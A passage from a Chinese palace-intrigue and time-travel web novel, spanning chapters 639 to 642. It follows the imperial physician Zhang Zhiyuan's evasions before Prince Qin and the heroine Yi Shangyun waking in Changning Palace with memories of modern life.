于是心里继续暗暗地盘算:“看来,对付秦王,还得另从长计议了!” 一念至此,璟帝遂吐了口浊气,朝着张致远只能无可奈何地摆了摆手。 张致远便缓缓起身来,退了出去。 有惊无险,总算是在璟帝的面前糊弄了过去,如今只盼着秦王快快醒来,否则后果将不堪设想。 张致远显然被吓得不轻,至今还都脸色煞白,额头冒着密密的细汗,时不时用衣袖擦拭俩下。 已然显示出极为紧张疲惫不堪地迈着紧步,赶着路出宫去。 岂料刚出宫门没多远,到了一处僻静的角落,便被一熟悉的声音叫住:“张院判……” 闻声,张致远刚刚落下去的一颗心,却是复又一次提了起来,赶忙歪着脑袋朝着声音所传出来的方向看了过去…… 第六百三十九章:张致远反口 “张院判……” 闻声,张致远刚刚落下去的一颗心,却是复又一次提了起来,赶忙歪着脑袋朝着声音所传出来的方向看了过去。 “是谁……” “什么人在叫老夫?” 借着夜里街边一束微弱的灯光照耀,张致远慢慢探步靠近了过去。 一见叫住自己的竟是轩辕翰的副将程良,于是惊诧地道:“原来是程将军!” 张致远抬头看了看天色,已是月上柳树梢时分,便道:“天都已经这么晚了,程将军为何会在此处啊?” 程良只自顾自说:“张院判可否请借一步说话?” “借一步说话?”张致远重复了一遍程良的要求。 心里暗自琢磨起:“老夫这才刚出宫门不远,方才已然引起了璟帝的怀疑,这会儿一转身若是被人瞧见了与秦王府的人见面,再传入宫中,怕是不知又会惹出什么祸事来!” 一念至此,张致远紧忙开口欲拒绝其:“程将军,请恕老夫家宅中尚还有要事等着老夫回去处理,这会儿怕是不能跟将军……” 岂料话未说完,便被程良看出其心中的顾虑,直接打断道:“张院判不必有所顾虑,院判大人回府接下去的路程,今夜,都是本将军的人在负责职守,没有人会知道你我今夜见过面的。” “这……”张致远心中依旧还想拒绝。 却被程良执意请走:“院判大人,请!” 最后,张致远无奈地叹了口气,不情愿却又无可奈何极了地迈开了步子。 俩人在街口转了个弯,张致远眼前便现出了一辆高大的马车。 见此,张致远顿步停了下来,心里默默地道:“这不是秦王轩辕翰的马车吗?怎么会停在这里?那里面的人……” 遂仔细回想了一下白天替轩辕翰把脉的情况,以及自己在其耳边所说的话,不禁顿时惊愕不已地道:“难道……难道秦王他真的醒过来了?” 一时间,心里又惊喜,又害怕,复杂极了。 就在尚还沉浸在自己的思绪里,忽闻耳畔程良对自己说:“张院判请上车,感谢您能来秦王府探望王爷,夜里路不好走,本将军亲自送大人回府!” “不……不,不,不……老夫不敢,老夫怎敢乘秦王殿下的马车?老夫的宅子距离此处也不过半个时辰的路程,这可万万使不得……” 说着,他竟吓得连连后退了起来,想要逃跑。 可就在他欲要转身的一瞬间,马车里忽然传出一冷厉的声音道:“张致远……” 闻声,张致远直觉自己的心咯噔一下。 遂眼睛直视着自己的前方,低声惊道:“这声音……这是……他真的……他真的醒过来了……” 这时,程良又一次邀请其道:“张院判,还是请上车吧!” 这一刻,张致远只觉自己的腿根本再也不听自己的使唤了,他的心明明想要逃离现场,可他的腿却自己转了回去。 既而缓缓迈开,整个人就这样战战兢兢地上到了马车上。 程良替其一掀开车门帘,张致远便对着乍现出眼前的这张自己熟悉的不能再熟悉的面孔,顿时愣在了原地。 确定其就这样好端端地出现在自己的面前,他露出一脸惊愕。 这表情,一点儿也不亚于似见鬼了一般地吃惊。 过了好一会儿,张致远方才回过神来,朝其行礼道:“微臣参加秦王殿下!” 轩辕翰依旧一张和往日无异冰冷的脸,眼睛只朝着车内一边坐榻上盯了一眼,沉声道:“坐!” 张致远这才赶紧上前了两步进到车内,在轩辕翰方才所落目的地方坐了下来。 这时,马车亦开始缓缓在宽阔的路上行驶起来。 见到轩辕翰已然苏醒,张致远的心此刻也总算是彻底沉了下来。 然好一会儿,车内俩人均沉默着无一人开口说话。 思虑片刻后,张致远决定先开口打破这沉闷的气氛,遂慰问道:“秦王殿下何时醒来的?如今可觉身上还有哪里不适?” 轩辕翰冷声道:“院判大人离开王府不久,本王便醒了!” 明显见其话里有话,张致远却佯装着解释道:“哦……今日微臣其实的确是奉旨前往秦王府探病的。只因为纯太妃保护殿下,提防外人之心颇重,说什么都不让微臣靠近殿下。故,微臣不得已才说谎,出此下策的!” 纯太妃不知,轩辕翰当然知道他今日乃是奉旨探病,否则,他怎胆敢毫无顾忌,就这样只身前往秦王府。 就在方才,他故意将马车绕着停远了些在此处,让程良去请他过来一见,可他无时无刻不在推辞,不肯过来见面的一举一动,一言一行,便已经出卖了他。 于是,看穿一切的轩辕翰也不屑与他多废话,直言相逼说:“既然如此,那张院判为何没有奉命取了本王的性命。本王相信,以张院判如今的医术,想要取本王的命,就算本王的母妃再怎么在侧察看,亦都丝毫不影响你取本王的性命吧!” 闻此,张致远赶忙起身来跪下在其面前,道:“秦王殿下赎罪,微臣不敢……” 轩辕翰深深地瞥了他一眼,道:“本王只问你一个问题,你必须如实回答。” “这……不知殿下想问什么?”此时,说这句话的时候,其实张致远心里已经猜到了轩辕翰想要从自己这里所问的问题。 “本王的王妃现在哪里?”果不其然,这正是轩辕翰的疑问。 顿了顿,怎料张致远竟再次佯装起一脸无知地说:“王妃娘娘?微臣不知殿下此话何意?殿下怎会问及微臣这个问题?王妃娘娘……不就应该在秦王府吗?” 看到张致远已然反口,否认推翻了自己白天对他所说的那番话,轩辕翰亦是对他的回答惊到了。 便再次警告他:“张致远,本王的话,向来只说一次,你确定这便是你给本王的答案吗?本王劝你想好了再答,若是撒谎,明天天一亮,本王依旧尚还在昏迷之中的消息定会传遍宫中。” 张致远仔细想了想,料定轩辕翰不会那样做。 即便他那样做了,对他自己亦是毫无好处。假若因此璟帝降罪,他满门遭祸,轩辕翰依旧得不到他想要的答案。 于是反问道:“难道王妃娘娘不在王府吗?微臣整日家里宫中两头跑,想来还真的好久未见到王妃娘娘了!不知王妃娘娘近来一切可好?” 看到张致远即便被自己威胁,亦始终不肯承认,不愿透露关于衣上云的半分消息。 一时间,轩辕翰竟也拿他没了办法,遂暗暗握紧了双拳。 就在这时,马车亦缓缓停在了张致远家门前。 张致远起身来朝轩辕翰致谢道:“今夜多谢秦王殿下!” 程良从外面掀开车门帘,张致远提起袍角走下了车,立在门前目送着轩辕翰主仆离开。 马车缓缓再次朝着秦王府的方向驶出,程良表情失落地在窗外问道:“殿下,张致远什么都不肯说,接着咱们该怎么办?也不知道王妃娘娘如今怎么样了?” 轩辕翰闭目养神着,思虑片刻后,对其命令道:“派人盯紧张致远。” 程良领命道:“是!” 轩辕翰心里暗暗肯定极了:“张致远,他一定知道云儿的下落,一定知道。云儿,本王一定会找到你,等着本王。” 此时,西秦皇宫里,处处灯火通明。 衣上云依旧在榻上沉沉地陷入昏迷着。 璟帝双手附后在殿内来回踱步着,最后轻声地靠近到榻边看了看她的脸,焦急却又无奈地叹了叹气。 见天色着实已不早,便准备离去。 随即交待殿内侍奉的婢女:“务必都仔细侍奉这位姑娘,如果她出了什么纰漏,朕定会要了你们的命!” 婢女们闻声各个吓的颤颤巍巍跪倒了一地,朝其齐声道:“奴婢知道了!” 最后深看了其一眼,璟帝便转身拂袖离去。 是夜。 夜深人静的时候,天边忽然乍出一道耀眼的闪电划过夜空,随之响起一阵阵轰隆隆的雷声来。 不过顷刻之间,倾盆大雨从天而降,就这样一泻而下。 突然,从天而降一道灼眼的紫色光芒,即便是在这伸手不见五指漆黑的夜里,依然能看到这紫色光芒徐徐汇集,最后聚成宛若一只七彩凤凰一般模样。 高高盘旋在夜空之中,昂首挺立着。 过了会儿,它忽然俯视向下方,似在寻觅着什么? 很快,像是锁定到了目标一般,瞬时伸展开那美轮美奂的凤凰羽翼,一声长鸣后,俯身而下坠进了一座宫殿里。 便再也消失不见,无影无踪。 此刻,外面亦是随之风停,雨停,雷电停…… 而这一幕,恰巧被因为这场大雨,迫停在距离皇宫不远处一酒楼里避雨的程良主仆俩亲眼看到。 程良难以置信极了地指着皇宫的方向,道:“殿下快看!” 而对于眼前此时此刻真真切切所出现的一切,轩辕翰亦是凭栏而立,只觉震撼,不可思议神奇地道:“这世上,真的有凤凰虚影。” 这时,程良忽然似是想起了什么,喃喃说:“属下记得殿下第一次让属下去调查王妃娘娘的时候,城里的人也有传说这凤凰虚影的,说王妃娘娘亦是因为一道凤凰虚影的出现方才苏醒的,难道说……” 第六百四十章:这一次,夫君做的对! 一念至此,程良不禁顿看向轩辕翰的脸,吃惊极了地道:“难道说,宫里也发生了类似这样离奇古怪的事情?” 可话刚一说完,却又用力挠了挠自己的后脑勺,否定了自己的猜想:“可属下也从未听说过宫里有什么人昏迷不醒了呀!” 然轩辕翰却是依旧面色沉沉地遥望着远处,心中颇为疑惑不解地喃喃自语道:“是长宁宫……为什么会是长宁宫……” 听到主人发出这阵喃喃声音,程良问道:“殿下在说什么?什么长宁宫?” 轩辕翰继续想了想,遂命令道:“去查一下长宁宫如今都是什么人在居住?近期是否有陌生人住了进去?这几日,是否有什么事情发生?” 程良听了,似懂,又非懂地领命:“是……” 轩辕翰心里默默肯定极了地道:“这一切,绝对不会是本王的幻想。那张致远,明明在本王昏迷之际告诉了本王云儿还活着的消息。可如今本王一醒来,他又为何全部矢口否认?张致远……到底在隐藏什么?” 一念至此,他最后深看了一眼那座被一场大雨冲刷过后,拨云见月下深沉而又宁静的宫殿,默默地道:“长宁宫……” 张府。 张致远刚一抬手叩响自家家门,迈脚进入府中,管家便又惊又喜地道:“老爷回来了,老爷终于回来了。” 过去的这整整一天一夜,其夫人王氏在听了管家对张致远离家前那晚的描述后,内心一直七上八下,惶惶不安着。 于是,自打张致远离开后,便一直跪在佛堂里为其祈福祷告。 忽然听到院子里传来的这阵管家的叫声,便急忙起身来,掀开帘子出门迎了上去。 一边用帕子抹泪,一边不甚激动地道:“菩萨保佑,可算是把你给盼回来了,终于平安回来了!” 张致远这次又何尝不被惊吓了一场。 直到此时他真真切切地捉住了妻子的手,方才沉下心来,深感抱歉地说:“这次着实让夫人操心了,都是为夫的不是。” “你我之间还说这些做什么,平安回来了就好。” 王氏说着,赶忙吩咐管家:“赶快让人给老爷准备沐浴更衣。” “是,我这就去安排。”管家得令后便赶忙退下去准备。 王氏紧接着又对跟随其后的女俾说:“去给老爷把我方才亲自准备的那几道小菜和杏酪端上来,快去!” 婢女道:“是,夫人,奴婢这就去。” “等等……”正要退下去,却又再次被叫住。 婢女回头来又询问:“夫人还有何吩咐?” 王氏认真地叮嘱道:“记得酒,别忘了酒,须得是老爷最爱的千里醉。” 婢女点点头,笑着道:“奴婢知道了。” 这才终于退了下去。 有道是,夫妻本是同林鸟,大难来时各自飞。 然此刻,张致远见妻子为自己贴心地忙碌张罗着一切,对自己是如此关怀倍至。 于是握紧她的手,甚觉欣慰地感慨说道:“得妻若此,夫复何求!” 在王氏的亲自侍奉下,张致远沐浴后,替其换上了一套崭新的衣袍,使得整个人顿觉神清气爽。 此刻,屋内烛火惺忪,夫妻俩围案而坐。 王氏一边贤惠地替其盛汤,一边道:“老爷快尝尝,这是老爷平日里最喜欢的杏酪,是为妻按照老爷的方法,亲手而制。将杏仁去皮煮熟捣烂,加入滚开的水中,滤出白汁,去除细渣,再加水重捣,再滤,反复3次后,最后将杏仁粉末弃去,其浓汁加入少许蜂蜜。老爷试试味道可还行?” 张致远看着以往都是自己闲时无事,做给妻子吃的吃食,如今此刻却是王氏亲自所作,递到自己手里的这碗熟悉的杏酪,竟突然泪流满面起来。 于是他倏地低下眼睛来,想要隐藏自己感动的泪水,遂将一汤匙杏酪送入到口中,一股暖流顿时徐徐而下。 可即便如此,还是被心细如针的妻子看到了他脸庞偷偷流下的泪水。 王氏不言不语,只默默地拿起帕子去替其轻轻擦拭泪痕。 张致远便再也忍不住,顺势放下手中的汤碗,既而一把将妻子拥入怀中,紧紧抱住。 至今心间似是尚还害怕极了地说:“夫人可知,为夫好怕,为夫真的好害怕!” 王氏惊了一下,转而一手附上张致远的后背,一边安抚,一边慰藉其道:“好了,都过去了,一切都过去了,老爷不要怕,无论发生什么,我都会永远陪着老爷的。” 不知过了多久,张致远终于缓缓松开了手。 将自己这一天一夜所经历的所有事情,向王氏娓娓道来。 王氏听了这一切,心中甚觉震惊不已。 却又疑惑重重,不明白地问:“秦王妃,她不在秦王府,又怎么会被皇上带回宫里了?” 张致远回忆片刻,道:“为夫也是一个偶然的机会,无意间听到御药房里一个叫丁香的小药女说,方才得知秦王妃在延福寺里救治了一众从觻县来的灾民,后来竟还同那些灾民们一起回到觻县去治沙了。” 王氏听了简直不敢相信自己的耳朵,吃惊地道:“什么?自古以来,觻县的漫漫黄沙,就连先皇在世的时候都拿它没办法。带人治理了那么多年,最终也只是劳民伤财。秦王妃,她一个弱女子,竟然跑去那种地方治沙?” 张致远心里又何尝不佩服她,原本短暂的同朝共事期间,以为她只是医药之术颇高。 可如今看来,她在许多方面,要比历朝男子还强上百倍,千倍…… 此女子,着实令人敬佩。 张致远嘴里喃喃低语着:“可偏偏,最后真的是她成事了,觻县的这次百年难遇的飓风沙暴,听说就是因为她而退去的,觻县再无一人一畜遇灾,反而只有她一人,被那飓风沙暴所吞噬。没想到,遭遇如此天灾,她竟然还能活着……” 若不是此时听自己的夫君亲口所说,王氏怎么都不敢相信,一个弱女子,可以做成这些堪比登天还难的事情。 想了想,王氏替张致远斟了杯酒,又问:“可皇上,她怎会不识得她便是秦王妃呢?” 张致远深深吸了口气,继续说:“皇上不识得她,反倒是保护了她!其实这也难怪!秦王妃在原本还是城西衣府,衣药师府上的那个城里无人不知的废柴丑女,后来为了替父赎罪,进宫为奴为婢的时候,因为相貌丑陋,有碍观瞻,故而整日都是遮着面纱示人,甚少有人见过其真实的容貌。” 说到这里顿了顿,张致远也在心里默默佩服,天下竟有医术如此高超之人:“后来不知哪里求得良方,便就恢复了本来的样貌。秦王大婚,本是秦王妃第一次进宫请安的日子,却在御药房被人捅了一刀,故尚还未来得及面圣,便就被秦王带回府休养了!” 说完停了会儿,张致远灌下那杯千里醉后,忽然说了句:“如此想来,当初那一刀,竟是帮了她,使她因祸得福了!” 王氏却是听不懂了,遂不明白地问:“夫君此话怎讲?” 张致远道:“宫里有人传说,这次觻县治沙,皇上虽下旨命秦王殿下亲自带兵支援,可实际上,却并未发兵。” 闻此,王氏即刻明白过来,惊愕地道:“夫君的意思是,皇上,终于决定要对秦王动手了?” 张致远捏紧手里的酒盏,说:“皇上这是想不费一兵一卒,便就借天灾人祸,彻底铲除秦王这个眼中钉。” 王氏听了后怕地道:“听说秦王从觻县回来后,便一直卧榻昏迷着……皇上……差点儿就成功了……若不是夫君你今日将秦王唤醒,怕是就……” 张致远感慨道:“这一切都是天意。若秦王昏迷不是因为秦王妃,如果为夫去了,然秦王今日依旧没能醒过来,那我张氏满门……怕就活不到明日了……” 然王氏却忽然无比坚定起来,赞叹道:“这一次,夫君做的对!” 张致远听了这句斩钉截铁的话,瞬间吃惊地看向她的脸,问:“夫人你说什么?” 王氏字字刚劲有力,道:“秦王妃大难不死,是因为她的无量功德。王妃娘娘与秦王殿下爱民如子,伉俪情深,如果这么好的人都不该活着,那这个世界会变成什么样子!这些年,皇上的恶行早已是民怨四起了。” 闻此大逆不道之言,张致远赶忙跳起来一把捂了王氏的嘴,看了看门外,未见有人,方才压低了声音道:“夫人小声些,莫不可被人听了去。” 王氏将其手缓缓拉下去,转而握住其双手,语重心长地道:“夫君,我知道你心里的顾虑。我知道这些年,无论是对于以前的乐太医一族的亏欠,还是对于张氏满门的保护,夫君你都很难做真正的自己。然今日此举,便是夫君良心未泯。人生在世,既然知道做错了,就要竭力去救赎,而不是不作为,一错再错!夫君心里也清楚,如今的皇上,真的不是一个明君!” 张致远缓缓坐回去,思考起王氏的话…… 第六百四十一章:非法禁锢他人自由是犯法的 半晌后,只见张致远依旧似是还下不定最后的决心一般,只说道:“这件事,事关重大,老夫还需要再好好想想。” 即便此时,仍见其犹豫不决,王氏见了,一时半会儿也不知该再说些什么,遂轻轻叹了口气。 过了会儿,张致远似是又想起了什么,忽然放下手中的汤匙,看着王氏的脸,说:“对了,老夫替秦王妃把脉的时候,发现她竟然已经怀孕了!” “什么?秦王妃她……她怀孕了?!” 显然,王氏亦被这个消息惊呆了。 可她心里却是既高兴,又害怕。 顿时间,一室寂静。 待到王氏再回过神来,倏地伸手一把紧紧握住了张致远的手,道:“夫君,你必得护那孩子周全,如此,便算是帮了秦王最大的忙了!”张致远想了想,倒不是因为自己真的想帮轩辕翰,他只是不想他死,毕竟秦王是真的比璟帝更加关心民间疾苦,又深得民意。 如果百姓失去了他,定会更加水深火热,苦不堪言。 于是点了点头,开口说:“嗯……这一点,就算夫人不说,为夫也会这么做的。无论如何,毕竟孩子是无辜的。” 王氏听了他的话,终于也算是安心了一些。 可又不解极了地自言自语着:“不知这皇上,他究竟想对王妃做什么?为什么要将她带进宫去?虽说王妃如今已经恢复了容貌,就算所有人不识得她是秦王妃,可娘娘出阁前,曾在宫里当差不止一日两日,自是识得宫中许多主子的呀,如果她醒来看到皇上囚禁了她,闹着要回王府,这不还是暴露了身份吗?” 张致远意味深长地说:“皇上并不好女色,这究竟是为什么呢……圣意难测!圣意难测啊!是福不是祸,是祸躲不过,如今一切也只有看天意了。” “真希望一觉醒来后,王妃娘娘忘记自己是王妃了,如此,对她自己和腹中的孩子都好……” 说着,王氏缓缓将双手并拢,合上眼眸来嘴里碎碎念道:“阿弥陀佛,菩萨保佑王妃娘娘赶快醒来吧,若是再这样继续昏迷不醒下去,只怕她腹中的孩子就要危险了。” 至此,夫妻二人一同陷入了各种沉沉的深思之中。 西秦皇宫。 距离璟帝寝殿最近的宫殿,便是长宁宫。 走进长宁宫的宫门,院子里有一棵硕大的银杏树,和一棵柿子树,每到金秋时节,便是整个长宁宫最美的时候。 只要路过此处,便会被高过宫墙的一大片黄色所吸引。 那片片金黄的扇叶映着宫门,映着红墙,映着微雨的天空。 而与这“火”一般浓烈的银杏形成鲜明对照的,正是那棵院子角落中的柿子树。 它在宫苑的深处,结出果实累累,默然而立。 无论再黑,再漫长的暗夜,却终将过去。 仿佛做了一个很长很长,却又让人感觉那般无比真实的梦一般。 翌日清晨,天刚刚亮。 长宁宫的寝殿内,悬挂着的几道白色的轻纱,被穿过窗棂的那一阵阵夏日的微风缓缓吹起,也给殿内换进了院子里新鲜的阵阵花香和青草味。 一张宽大的雕花木榻上,沉睡中的衣上云的眼珠忽然转了两下,最后竟然真的睁开醒了过来。 偌大的寝殿里,此时只有两名婢女早起进来正在打扫。 听到殿内忽然传出一阵喃喃之音,俩人便停下了手里的动作,不约而同地将目光寻声望向了正在床榻上挣扎着坐起身来的衣上云。 霎时间,两名女子愣愣地望着她的脸,惊呆了。 待到确定真的是榻上昏迷的人苏醒过来,遂对视了一眼后便赶快一边朝榻边疾步过去,一边惊喜地各自说着。 “是姑娘醒啦!” “姑娘终于醒啦!” 经过一番挣扎,衣上云此时虽已坐在了榻边。 却还是觉得头痛的要命,感觉像是要裂开了似的,不由得倒抽了一口凉气,嘴里发出一阵吃痛声:“嘶……” 遂环视了周围一眼,一边附手上去按压自己的太阳穴,一边对着眼前这个陌生的环境,连连低声问。 “这是什么地方?” “我怎么会在这里?” 顿了顿,继续回忆着说:“我不是应该在自己的公寓吗?” 殿内一水缸里,插着婢女方才来时刚刚采摘回来的几支粉嫩粉嫩的荷花。 借着水面,忽然有一道亮光折射向她好看的眼眸,她这才意识到天已经大亮了。 于是顿着急了起来。“不,天都已经亮了?现在几点啦?” 原是想到一件特别重要的事情:“我得赶去医院了,约好今天做手术的。” 一直只自顾自地说着,便立起身来,自己一边提鞋子,一边朝门口扑了过去。 两名婢女听着她此时所说的这些新鲜的词语,亦尝试着喃喃自语起来。 “公寓?” “几点?” “医院?” “手术?” “这些都是什么呀?” “这姑娘……脑子出问题了?” “怎么办……怎么办?” “赶快去通知皇上。” “还是先去找张院判来给她看看吧。” 有了主意,两名婢女立马分工协作:“嗯,你先去通知张院判,就说姑娘醒了,可尽说些胡言乱语。让他赶快过来给姑娘瞧瞧,然后再去通知皇上。” 说着,听着的那名婢女便就只身冲了出去。 “姑娘你这是要去哪儿啊?”而剩下的那名婢女亦紧忙迈步追上前去,驾起其一只胳膊来,将衣上云强拉着拽了回来。 衣上云环顾四周,在婢女大力的束缚下一边挣扎着,一边苦口婆心的解释。 “你们到底是什么人?我不知道你们在这里拍什么?” “但现在请你放开我,快点放手。” “我现在真的有很重要的事情。” “再过几天,江西的药材就要到了。产品一上线,我必须亲自去把关,这个客户,一定不能出问题的。” 可说着,衣上云再次感觉阵阵痛感袭来,头痛极了,时不时地摇摇脑袋,又附手上去按住。 “姑娘你在说什么?” “什么江西?” “什么公司?” “什么客户?” “奴婢从未读过书,见识浅薄。真的是一点儿也听不懂你在说什么?” 婢女只死死拽住她的胳膊,只能奋力拖延着道:“只是……只是无论姑娘想去哪里,必须都先禀明了皇上才是啊!奴婢只负责照顾姑娘的饮食起居,还请姑娘不要为难奴婢。” 衣上云这才注意到了婢女所说的话,遂惊愕地看着那婢女的脸说:“等等……你说……皇上……什么皇上……” “姑娘难道真的什么都不知吗?” 面对衣上云顿露出惊诧的眼神,婢女缓缓解释道:“这里是灵空大陆的西秦国皇宫,现在的皇上璟帝,名作轩辕烨……这是长宁宫,是皇上命人将姑娘从宫外带回来的,皇上就住在你隔壁的宫里。” 衣上云听了,直越来越大地瞪圆了那双好看的凤眼,只觉这一切难以置信极了。 “不……你们不是在拍什么类似的狗血短剧吗? 婢女弱弱地问:“敢问姑娘,什么叫做狗血?什么又是短剧?” 衣上云似是忽然意识到了事情的严重性:“你的意思是……我这是……我穿越时空了……” 她的大脑快速飞转:“灵空大陆……西秦国……历史上哪有这些?” 婢女根本听不懂她所说的这些。 衣上云已经管不了那么多,此刻她只想逃离这里。 于是用一根手指严厉地指向婢女的鼻子,吓唬起她:“小丫头,我跟你说,你赶快松开我,否则我可以告你的。非法禁锢他人自由是犯法的,那可是很严重的罪,不是你所能承担起的!” 就在俩人两两相望,却只能是大眼瞪小眼时,门外院子里忽然传来一阵嘈杂的喧嚣声。 院子里,一婢女正厉声训斥门口当班的侍卫,道:“还不都让开,胆敢阻拦皇后娘娘大驾!” 殿门口的守卫却是各个面不改色,其中一人只开口解释道:“此乃皇上的旨意,不许任何人进入长宁宫殿内打扰。” 这便使得仅仅不过一夜,便已经闻风赶来长宁宫,想要一探究竟的皇后更加好奇,璟帝究竟从宫外带回来一名怎样的女子?居然如此神秘。 这么多年,璟帝还是第一次带一个女子回宫。 一时间,婢女看似也没其他办法了,遂嘟着嘴生气地望向身后的皇后。 皇后想了想,亲自开口问:“你确定,皇上的意思,即便是本宫,亦不能进去探望里面的人?” 俩侍卫朝皇后恭敬地抱拳施礼,既而劝道:“皇后娘娘还是请回吧!” 看到不过俩个小小的守门侍卫,此刻竟是软硬不吃,让面前的一国之母如此难堪。 那婢女便再也忍不住了,于是上前两步气呼呼地教训其道:“混帐东西,竟敢如此藐视皇后娘娘的威严,在这偌大的皇宫里,除了皇上的宫殿,哪里还有娘娘不能去的地方,这究竟是谁给你们的狗胆?” 皇后见自己的婢女与侍卫愈来愈烈地争执起来,正要开口阻止。 就在这时,忽从身后传出一沉声道:“什么人想要擅闯长宁宫殿?” 第六百四十二章:她不是…… 闻声,皇后顿回过头去。 原来是刚刚闻讯衣上云苏醒的消息,一大早前脚刚进宫来迈进太医院的门,便就又急匆匆赶忙拎起药箱前来替衣上云查看的张致远。 皇后不禁有些纳闷地道:“张致远?” 张致远只顾一边走,一边若有所思着,此时显然亦是被面前忽地回眸转身来的身份吓了一跳。 “是皇后娘娘……”遂着急忙慌地在其面前跪倒,朝其参拜:“微臣张致远,参见皇后娘娘!” 皇后定定的看了他一会儿,问:“张致远,你来的正好,本宫问你,这长宁宫所住进去的,到底是什么人?为何如此神秘?难道就算是连本宫,亦都不能进去探视?她……真的如宫中所传闻的,是名女子吗?” “这……”张致远心里犹豫了一会儿,依旧继续佯装着说:“启禀皇后娘娘,身为一名医者,微臣的职责只是奉旨治病救人。关于这长宁宫里住的是什么人,微臣亦不清楚,请恕微臣无可奉告,解不了皇后娘娘心中的疑惑。” 见其如此态度,本就得此消息有女子住进长宁宫,有些着急的皇后生气地道:“张致远……你……” 看到主子好说歹说,始终被这一院子的奴才阻挡刁难。 入宫数十载,这么多年来,还从未受过这般的气。 于是,一旁的婢女再也看不下去了,指着他们开口扬声替其训斥道:“好你们这帮狗奴才,一个个是不是吃了熊心豹子胆了?如今竟敢连当朝皇后,这皇宫的女主人都不放在眼里!” 顿了顿,继续提醒众人道:“你等可知长宁宫是什么地方?此处是向来不准女子入住的,如今你等都在做什么?今日我倒想看看,皇后娘娘想要去的地方,谁敢阻拦?” 而皇后此时心里则是在想:“看来,住在这长宁宫的人,一定是受到了皇上的旨意,否则他们不敢如此。” 那婢女显然已经打算了硬闯,遂扯开嗓子叫着:“让开……” 就在这时,宫门口忽然传来一细声细气的呵斥声:“大胆!一大早上,谁在长宁宫里大吵大闹?” 闻声,正对着大门口方向的两名守卫和张致远先惊地纷纷跪地道:“皇上!” 皇后这才顿回过神来,既而一把拽着身旁早已吓的不知所措怔愣在原地的婢女,也跪倒在了地上:“臣妾参见皇上!” 璟帝双手附后,立在宫门口,一脸严肃地审视着面前一众人等。 霎时间,整座院子里再无人说话,顿陷入一片鸦雀无声。 顿足停了会儿,璟帝复又提步上前,走到了众人面前,伸手将皇后扶起身来。 沉声问道:“皇后大清早来长宁宫,所为何事?” “臣妾……”后知后觉地意识到慌乱之下,自己的婢女已然惊扰了圣驾,闯了祸,皇后此时心里着实有些害怕。 可长宁宫就在皇帝的寝宫隔壁,向来是不准嫔妃入住的。 甚至曾有传闻说,长宁宫若是住进了女子,便就一定会有大事发生。 亦是,这许多年来,璟帝第一次一声不吭地带回一个女人。 这一切,思来想去,无论如何,她觉得身为皇后,自己有义务提醒皇帝自己在做什么? 于是便深吸了口气,鼓足勇气来对其认真说道:“想必皇上应该知道,长宁宫一向是不准嫔妃们入住的。” 此时她的心情的确有些复杂,顿了顿,皇后继续道:“如果皇上,真的瞧上了哪个女子,便就予以册封,臣妾在后宫给其安排一座宫苑即……” 可皇后的话还未说完,璟帝竟忽然开口将其打断:“她不是!” 闻此,皇后再一次愣住,紧紧盯视着璟帝的脸,想要再次确认:“什么?不是?” 璟帝再次眼神确定极了地看着皇后的眼睛,说:“她不是皇后想的那样。” 皇后听了却是更加不解地问:“那皇上为何如此安排?” 可璟帝却不想再对其解释什么,只说:“这件事,皇后不必再管,皇后只需知道,住在长宁宫里的,并非一女子。” 皇后看出他不想再就此事多言,这么多年以来,二人之间的相处之道,向来都是如此,相敬如宾,却又保持着各自该有的距离。 你不需多问,他亦不会多做解释。 于是,皇后便再一次选择习惯性地答应他:“是,臣妾明白了。” 说完,便提步离开。 二人背对背,忽闻璟帝再次开口说:“母后那边……” 皇后望着前方宫门口处,嘴角上扬,微微一笑,道:“皇上放心,此事,臣妾会去同母后解释的,长宁宫里……只有男子。” 至此,皇后终于带着人离开。 璟帝遂对着尚还跪在地上,垂首着不敢吱声的张致远冷声命令道:“你还跪在这里做什么?还不赶快进去替其查看?” 张致远似这才急急回过神来,一边起身,一边连连道:“哦,是是是,微臣这就马上去!” 可待其刚刚来到寝殿门口时,只见衣上云正卖力地将那名婢女推出来:“出去,快出去……” 伴随着“咣当”一声响。 婢女整个人便就这样被推了出来,而门,亦死死被衣上云从里面用身子顶住。 婢女气喘吁吁地对张致远说:“张院判,你终于来了!” 张致远目瞪口呆的看到这一切,问:“这是怎么了?” 婢女一脸无辜地说:“奴婢也不知道呀,姑娘醒来后便就一直胡言乱语,闹个不停,尽说一些咱们根本听不懂的话,我是真的没有办法,也没有力气了,这才被她推了出来。” 人尚未到,先闻其声。 紧随其后的璟帝远远地听到二人的对话,厉声问:“她究竟在闹什么?” 婢女见是璟帝亲临,紧忙双膝跪倒在地上,朝其回禀道:“启禀皇上,姑娘打从醒来后便就一直胡言乱语着,如今更是都把奴婢赶出来了。” 璟帝瞥了一眼婢女狼狈不堪的模样,当即扬声命令道:“来人,给朕把门撞开。” “皇上不可……”见势,生怕可能会惊吓到已然怀孕的衣上云的张致远紧忙开口想要劝阻。 可很快,便上前来一名侍卫。 就在侍卫卯足了劲儿,正要只身将自己整个人投出去撞开门时,那门忽然被衣上云一把从里面拉开。 侍卫当即扑了个空,顺势下去险些五体投地,跌趴在地上。 衣上云眼疾手快地赶忙闪身到门的一侧立着。 至此,终于一众人等,互相对视在一起。 片刻后,璟帝方才挪步进入殿内落座下。 挥了挥手,闲杂人等便都一一退了下去。 此时,殿内只剩下璟帝与太监,还有张致远三人。 璟帝看着衣上云的脸,许久,终于先开了口道:“你这是做什么?可知道我是谁?这是什么地方?” 衣上云望着眼前一个个陌生的面孔,面无任何表情,又不卑不亢,丝毫无所惧怕地道:“不知!亦不想知!” 看到衣上云已然苏醒,尽管态度不好,璟帝此时亦总算是终于松了口气。 便紧忙吩咐一边的张致远:“张致远,再仔细给她查看一下,看看身子可已都痊愈?” “是!”张致远亦很是关心其身体恢复情况,赶忙答应。 岂料衣上云却哗的一下,伸出去一只手,将正欲朝自己靠近的张致远挡住,拒绝道:“不必!” 见她如此这般拒绝一切沟通交流的架势,璟帝除了忍着,好像也没有其他办法。 既而转口又问:“你叫什么名字?” 衣上云却道:“我为何要告诉你我的名字?” 终于,立在璟帝身旁的太监再也忍不住,开口训斥起衣上云来道:“大胆!皇上对你一再忍让,你怎能如此对皇上说话。” 然太监此举,却反遭到了璟帝的冷眼与训斥:“退下!” 太监只能默默忍气吞声地退下。 似是在自己的预料之中,衣上云苏醒后,俩人的第一次交流果然并不顺畅。 可来日方长,想要守护者完全臣服于自己,他知道不能急于一时。 他当然知道,在这世上,人心最是难得,更何况,是要得到守护者的真心。 然一旦得到,他便将无所不能。 